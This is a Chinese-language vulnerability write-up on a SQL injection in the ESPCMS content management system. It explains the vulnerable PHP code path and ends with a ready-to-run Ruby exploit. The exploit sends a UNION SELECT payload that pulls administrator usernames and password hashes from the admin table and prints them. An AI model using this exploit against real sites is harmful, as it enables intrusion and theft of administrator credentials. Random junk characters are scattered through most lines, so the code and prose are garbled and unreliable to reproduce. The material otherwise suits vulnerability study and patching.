0×0 漏洞概述0×1 漏洞细节
% Y5 \* ?6 }! B8 r2 B9 \0×2 PoC- Y3 P& R p V( G" V0 }
9 S* ?& o' w7 w' F
2 ^3 `% [) x1 O1 O0 }7 L$ L& B
6 }0 V3 x& [" e: x9 ~4 S7 D) T j" B: p0×0 漏洞概述7 D0 d b! F' ^0 T
% ?' B$ c( ?3 j" k
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。' j8 G3 I7 I. F5 A" Z" M$ T
其在处理传入的参数时考虑不严谨导致SQL注入发生! R0 X8 n: U: Y5 V& d B+ |
, I$ i2 z7 B* I9 ~9 S. e, I8 F$ {
0×1 漏洞细节8 y4 O& p3 Z* X- ^* Q5 V5 e2 `
7 Q. r) @* D7 L/ ?3 n1 `6 ^变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。2 d. t+ B( E5 I& \ |7 o- Z. q: u
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
) `4 N% f# E6 J6 H( I: T而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。/ s# ^1 K; z% k/ I% v, W# p
! V0 u4 k/ R) O( S" ?
在/interface/3gwap_search.php文件的in_result函数中:# W/ p, |+ K# [) L Y
m; H( E9 i/ I& d
. r9 {! \0 `" B+ j+ [, L- v, D/ ^1 T8 O- z) g
function in_result() {
% O7 A. ^# Y1 o% p( ? ... ... ... ... ... ... ... ... ...& v* @6 t* Y% l
$urlcode = $_SERVER[ 'QUERY_STRING '];
p4 o/ v2 S7 J* J+ G3 E' a1 o; q parse_str(html_entity_decode($urlcode), $output);1 v' V. N" Y& D9 C0 V. V' n
- Q7 y& d& ^# a
... ... ... ... ... ... ... ... ...
4 \) `8 x# G0 A/ |" c2 G if (is_array($output['attr' ]) && count($output['attr']) > 0) {
( O6 t3 G' L- `3 U! m+ Q4 U# K T4 R. R8 Y0 |: r7 r
$db_table = db_prefix . 'model_att';
; Z% y# L0 ?0 O4 j; r" G# [ y6 i4 W7 X* i1 i! h
foreach ($output['attr' ] as $key => $value) {' J y! f7 K9 l
if ($value) {! Q1 M" [: v; P
3 l( D9 q* b M1 ?7 ] $key = addslashes($key);
5 S4 d: v3 F7 O6 ]2 ]( u $key = $this-> fun->inputcodetrim($key);
9 g2 |; l* W' ` $db_att_where = " WHERE isclass=1 AND attrname='$key'";
( u$ W& q" i. q* ^+ s {- E! a7 A $countnum = $this->db_numrows($db_table, $db_att_where);! J" a' D, |3 h9 r1 K& I
if ($countnum > 0) {
" e0 a$ U: w- V+ _' o$ \ $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;1 L+ S l! ]/ I: m5 W
}7 H; G, [3 V. b; O6 G& U
}! f+ k. w y: O @- `
}
* K& N; z c$ ]. P" N! P }: m) E1 _! F( P) }
if (!empty ($keyword) && empty($keyname)) {$ f" h+ ]- e9 y a: A U
$keyname = 'title';
& ]1 \7 X$ D0 x& M( b& B $db_where.= " AND a.title like '%$keyword%'" ;
4 B D h& s% X h' N5 G& v! m } elseif (!empty ($keyword) && !empty($keyname)) { L+ q5 i5 K8 u3 N5 z0 X. ~/ P
$db_where.= " AND $keyname like '% $keyword%'";0 Z4 [$ H6 K3 S2 v+ H; l& e
}
$ O' d- D0 D; o $pagemax = 15;! l, j3 @1 [8 N$ o5 q
. ]+ @& R! e7 S( k- s- q $pagesylte = 1;
. w8 \- w/ W& N- t1 M2 O1 N6 {" x7 F! E2 t1 k/ T% p
if ($countnum > 0) {
. E. {" } s0 i* j9 s
& t" {. v1 a5 ^7 |9 }& y: v8 A6 y- K $numpage = ceil($countnum / $pagemax);
) O, S' f% t }" k6 Y4 X, g } else {
" O& b1 k( Z+ ~6 | $numpage = 1;
& s4 k- v% o" |. c' A }3 ]- `6 y1 w. h# k E
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;$ `- h: ^/ n: ~8 ~) `
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
L7 e4 R2 e! A( [( W* M, h$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);$ R, x5 d, ~3 ~* m& H
... ... ... ... ... ... ... ... ...
9 ]# X+ G$ L1 ]+ V, K2 [2 Q }% M$ p) ?; Y2 D' Y# u1 y( w2 ^
5 l% d; a) u$ v9 `3 c9 H
; ^+ z" T" i* M j$ K0×2 PoC! i+ H' H+ K0 L* S/ p' `
( [9 o% A5 `5 Z* |
; y g6 I* L! |* ^9 x' F
7 F3 z# ~0 W5 e3 C5 Rrequire "net/http"
6 ?6 b% l+ M. J+ @8 H% C1 k0 X# o$ C1 Y" m, o5 U: e* q6 c' ~
def request(method, url)5 ^8 O$ G: }% k
if method.eql?("get")
# S! L5 U" Y( E2 P; Q4 u6 \ uri = URI.parse(url)3 A+ X( B9 e4 W" t) N* ?
http = Net::HTTP.new(uri.host, uri.port)( q: H" u; l3 G/ O t' _' ]
response = http.request(Net::HTTP::Get.new(uri.request_uri))
8 k1 I A0 Y7 |0 x2 [3 [ return response
8 {6 ], D; X, o) }6 G end
) h C" V7 m: z% Z( iend5 J: j7 a4 {# I2 }5 y
$ P) c8 H. n- r. G. d! ddoc =<<HERE2 T' v7 `: S- U. h. i' v) Q
-------------------------------------------------------$ i* K4 L2 r/ k8 I6 x
Espcms Injection Exploit! F f+ X: J+ i. N$ G) ^* u! Q
Author:ztz6 ?8 t. |9 G- W. Z6 Z
Blog:http://ztz.fuzzexp.org/2 P5 C! s$ g5 D. Q: f; ?
-------------------------------------------------------: `( ?( a) e" J$ i4 g) t
) Y/ w4 q4 a8 f: p9 V; y8 E9 T
HERE
, Z, c4 ^9 d4 a$ B! G, V
& H: N+ A2 Q8 @5 Z0 ] Z2 fusage =<<HERE& n; u2 E3 S) X% O# S) g
Usage: ruby #{$0} host port path+ W* z: }: ?- x# G( K' Y" m
example: ruby #{$0} www.target.com 80 /
$ _* z4 W$ ]6 x% _0 lHERE; u( p! S; b: g& w" K9 c1 q
' ?" ]/ `+ r" u9 j: o3 Jputs doc
) e, F% i( L; L2 w% nif ARGV.length < 3
7 b# p# |# Z$ p- |5 ~1 O5 a0 b puts usage; k0 Z: \, B9 b+ d3 Q, q
else
$ P" C7 k/ f: u: U* @: ^; m' D $host = ARGV[0]6 ^3 D7 o0 h3 B1 V0 J0 P
$port = ARGV[1]
/ z, ]5 h* Q$ I $path = ARGV[2]! J! \: D ^; ^8 K
( ^. Y, [. q6 o7 o6 R3 B puts "send request..."
& w5 {+ f0 s: ^1 D& d url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&$ Q& J w5 i8 W" ]( Z
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13" t1 }; o* Q6 o
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
" S& G' H+ @5 p3 Y. `" `,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"' @2 a& R/ s% ]1 Y. a ~! U9 ~
response = request("get", url)
) R3 E1 b* |) D `$ [$ C result = response.body.scan(/\w+&\w{32}/)
, z3 L/ R. x- {: d puts result
0 @+ L3 L. E& Bend" n% ^& n- d4 U
* w0 U. h) k+ b
|